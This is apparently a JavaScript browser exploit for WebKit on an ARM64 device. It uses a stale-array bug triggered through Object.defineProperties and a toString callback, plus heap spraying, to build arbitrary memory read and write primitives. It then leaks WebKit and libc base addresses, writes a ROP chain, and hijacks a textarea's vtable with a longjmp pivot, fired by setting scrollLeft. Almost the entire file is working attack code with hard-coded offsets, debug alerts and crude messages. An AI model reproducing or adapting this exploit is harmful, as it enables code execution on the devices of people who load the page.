text: _dview = new DataView(new ArrayBuffer(16));;
  
  function u2d(low, hi) {
      if (!_dview) _dview = new DataView(new ArrayBuffer(16));
      _dview.setUint32(0, hi);
      _dview.setUint32(4, low);
      return _dview.getFloat64(0);
  }
  
  function hex64(hi, lo) {
      hi = hi.toString(16);
      lo = lo.toString(16);
      while (lo.length < 8)
          lo = "0" + lo;
      return "0x" + hi + lo;
  }
  
  /* assumes hi:lo is in a module, will crash on failure */
  function find_module_base(hi, lo) {
      lo = (lo & 0xFFFFF000) >>> 0;
      while (1) {
          if (read32(hi, lo+0x10) == 0x304F524E) {
              return lo;
          }
          lo -= 0x1000;
      }
  }
  
  function prepare(addr_hi, addr_lo) {
      stale[stale_idx][4] = 0; // address, low 32 bits
      stale[stale_idx][5] = addr_hi; // address, high 32 bits
      stale[stale_idx][6] = 0xffffffff; // length
  }
  
  function read32(addr_hi, addr_lo) {
      prepare(addr_hi, addr_lo);
      return smsh[addr_lo / 4];
  }
  
  function write32(addr_hi, addr_lo, value) {
      prepare(addr_hi, addr_lo);
      smsh[addr_lo / 4] = value;
  }
  
  function memdump(hi, lo, len) {
      var s = "";
  
      for (var i = 0; i < len; ++i) {
          var x = read32(hi, lo).toString(16);
          s += '0'.repeat(8 - x.length) + x + " ";
  
          if (lo == 0xFFFFFFFC) {
              lo = 0; hi += 1;
          } else {
              lo += 4;
          }
      }
      return s;
  }
  
  function hax() {
      smsh = new Uint32Array(0x10);
      var textarea = document.getElementById("textarea");
      var lo, hi;
      var relocs = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0];
  
      try {
          tmp_mem = new Uint32Array(0x10000); // memory for rop stack and rop data section
          shit_mem = new Uint32Array(0x327);
          var magic = 0x1AAA5555;
  
          var arr  = new Array(0x1000);
          var yolo = new ArrayBuffer(0x1000);
          arr[0] = yolo;
          arr[1] = 0x13371337;
          var not_number = {};
          var bufs = new Array(10000);
          var props = {
              p0 : { value : 0 },
              p1 : { value : 1 },
              p2 : { value : 2 },
              p3 : { value : 3 },
              p4 : { value : 4 },
              p5 : { value : 5 },
              p6 : { value : 6 },
              p7 : { value : 7 },
              p8 : { value : 8 },
              length : { value : not_number },
              // memo
              stale : { value : arr },
              after : { value : 666 }
          };
          not_number.toString = function() {
              arr = null;
              props['stale']['value'] = null;
              // spray
              for (var i = 0; i < bufs.length; i++) {
                  // var e = document.createElement("textarea");
                  // e.rows = magic;
                  // textareas.push(e);
                  bufs[i] = new Uint32Array(0x600);
                  for (var j = 0; j < bufs[i].length;) {
                      bufs[i][j++] = 0x40000000;
                      bufs[i][j++] = 0xffff0000;
                  }
              }
              return 10;
          }
  
          var target = [];
          var before_len = arr.length;
          Object.defineProperties(target, props);
          stale = target.stale;
          var after_len = stale.length;
  
          if (before_len == after_len) {
              alert('Failed');
              throw 0;
          }
          else {
              if (after_len != 0x40000000) {
                  alert('Failed, got len ' + after_len);
                  throw 0;
              }
  
              var o = {};
              for (var i = 0; i < 0x100000; ++i) {
                  if (typeof stale[i] == "number" && stale[i] == 0x40000000) {
                      stale[i] += 0x100;
                      stale[i + 1] = o;
                  }
              }
  
              found = false;
              // for (var z = 0; z < 0x1000; z++) fc();
              for (var i = 0; i < bufs.length; ++i) {
                  for (var j = 0; j < bufs[i].length; ++j) {
                      if (bufs[i][j] == 0x40000100) {
                          found = true;
                          weirdo = bufs[i];
                          weirdo_idx = j;
                      }
                      if (found) break;
                  }
                  if (found) break;
              }
  
              weirdo[0] = 0x11223344;
              weirdo[1] = 0xFFFF0000;
              for (var i = 0; i < 0x100000; ++i)
                  if (typeof stale[i] == "number" && stale[i] == 0x11223344) {
                      stale_idx = i;
                      break;
                  }
  
              // alert(textarea);
              stale[stale_idx] = textarea;
              textarea_hi = weirdo[weirdo_idx + 1];
              textarea_lo = weirdo[weirdo_idx];
              // s = "";
              // for (var i = 0; i < 0x10; ++i)
              //     s += weirdo[weirdo_idx + i].toString(16) + " ";
              // alert("dump: " + s);
  
              stale[stale_idx] = tmp_mem;
              var ptr_hi = weirdo[weirdo_idx + 1];
              var ptr_lo = weirdo[weirdo_idx];
  
              div_hi = ptr_hi;
              div_lo = ptr_lo;
  
              alert("[0] Leak ptr: " + hex64(ptr_hi, ptr_lo));
  
              // i just copied from qwertyoruiop idk what it does
              stale[stale_idx] = {
                  'a': u2d(105, 0x1172600),
                  'b': u2d(0, 0),
                  'c': smsh,
                  'd': u2d(0x100, 0)
              };
              stale[stale_idx + 1] = stale[stale_idx];
              // misalign so we end up in JSObject's properties
              // which have a crafted Uint32Array pointing to smsh
              weirdo[weirdo_idx] += 0x10;
  
  
              var buffer_hi = read32(ptr_hi, ptr_lo + 0x14);
              var buffer_lo = read32(ptr_hi, ptr_lo + 0x10);
              // write32(buffer_hi, buffer_lo, 0xB00B);
              // alert("buffer: " + hex64(buffer_hi, buffer_lo));
              // write32(ptr_hi, ptr_lo + 0x18, 0xDEAD);
              // alert(memdump(ptr_hi, ptr_lo, 0x100));
              // alert(tmp_mem.length.toString(16));
              // alert(tmp_mem[0].toString(16));
  
              // textarea.rows = magic;
              var ptr2_hi = read32(textarea_hi, textarea_lo + 0x1C);
              var ptr2_lo = read32(textarea_hi, textarea_lo + 0x18);
              alert("[1] ptr2: " + hex64(ptr2_hi, ptr2_lo));
              alert(memdump(ptr2_hi, ptr2_lo, 0x200));
              textarea_hi = ptr2_hi;
              textarea_lo = ptr2_lo;
              var orig_vptr_lo = read32(textarea_hi, textarea_lo);
              var orig_vptr_hi = read32(textarea_hi, textarea_lo + 4);
  
              alert("[2] ptr2: " + hex64(orig_vptr_hi, orig_vptr_lo));
  
              wk_hi = orig_vptr_hi;
              wk_lo = orig_vptr_lo - 0x01745d70;
  
              alert("[3] wk: " + hex64(wk_hi, wk_lo));
  
              // some_lo = find_module_base(some_hi, some_lo);
  
              // found by RE of 'some' module
              libc_lo = read32(wk_hi, wk_lo + 0x17E2C70);
              libc_hi = read32(wk_hi, wk_lo + 0x17E2C70 + 4);
              libc_lo -= 0x3ae63c;
  
              // alert("wk base: " + hex64(wk_hi, wk_lo));
              // alert("libc base: " + hex64(libc_hi, libc_lo));
  
              // alert("go");
  
  
              // alert("orig vptr: " + hex64(orig_vptr_hi, orig_vptr_lo));
  
              // layout of buffer (buffer_hi, buffer_lo):
              /*
                  - [0, 0x1000) free space for function calls
                  - [0x1000, 0x8000) ROP chain
                  - [0x8000, 0x10000) data section
              */
  
              var new_vptr_hi = buffer_hi;
              var new_vptr_lo = buffer_lo;
  
              var stack_hi = buffer_hi;
              var stack_lo = buffer_lo + 0x1000;
  
              // alert(rop_chain);
              // alert(rop_relocs);
  
              var data_hi = buffer_hi;
              var data_lo = buffer_lo + 0x8000;
  
              // write ropchain into stack
              // this array must match IDs for Relocatable in rop.py
              relocs[0] = 0;
              relocs[1] = 0;
              relocs[2] = data_lo;
              relocs[3] = data_hi;
              relocs[4] = libc_lo;
              relocs[5] = libc_hi;
              relocs[6] = wk_lo;
              relocs[7] = wk_hi;
              // TODO: we don't handle the case where we go over 0xFFFFFFFF limit and need to +1 hi
              for (var i = 0; i < rop_chain.length / 2; ++i) {
                  lo = ((rop_chain[2 * i] + relocs[2 * rop_relocs[2 * i]])) >>> 0;
                  hi = ((rop_chain[2 * i + 1] + relocs[2 * rop_relocs[2 * i] + 1])) >>> 0;
                  write32(stack_hi, stack_lo + 8 * i, lo);
                  write32(stack_hi, stack_lo + 8 * i + 4, hi);
              }
  
              // alert("stack: " + memdump(stack_hi, stack_lo, 0x100));
  
              // copy old vtable
              for (var i = 0; i < 0x200; ++i) {
                  write32(new_vptr_hi, new_vptr_lo + 8 * i, read32(orig_vptr_hi, orig_vptr_lo + 8 * i));
                  write32(new_vptr_hi, new_vptr_lo + 8 * i + 4, read32(orig_vptr_hi, orig_vptr_lo + 8 * i + 4));
              }
  
              // write32(new_vptr_hi, new_vptr_lo + 0x1F8, libc_lo + 0x1f3308); // infloop
              // write32(new_vptr_hi, new_vptr_lo + 0x1F8, libc_lo + 0x4396b0); // setjmp
              write32(new_vptr_hi, new_vptr_lo + 0x1F8, libc_lo + 0x439620); // longjmp
              write32(new_vptr_hi, new_vptr_lo + 0x1F8 + 4, libc_hi);
  
              // set up jmp_buf
              // SP
              write32(textarea_hi, textarea_lo + 0xF8, stack_lo);
              write32(textarea_hi, textarea_lo + 0xFC, stack_hi);
              // X30
              write32(textarea_hi, textarea_lo + 0x100, libc_lo + 0x1db934); // ldp x29, x30, [sp], #0x10 ; ret
              write32(textarea_hi, textarea_lo + 0x104, libc_hi);
              // done jmp_buf
  
              write32(textarea_hi, textarea_lo, new_vptr_lo);
              write32(textarea_hi, textarea_lo + 4, new_vptr_hi);
  
  
              // alert(memdump(textarea_hi, textarea_lo, 0x200));
              // alert(memdump(textarea_hi, textarea_lo - 0x100, 0x200));
              alert("trigger");
              textarea.scrollLeft = 0x123;
              // alert(textarea.scrollLeft);
              alert(memdump(textarea_hi, textarea_lo, 0x200));
  
              // Prevent crash.
              while (1) {
                  alert('Close it idiot');
              }
          }
      } catch (err) {
          alert(err.message);
  
          while (1) {
              alert('Close it idiot');
          }
      }
  }
  
  hax();
  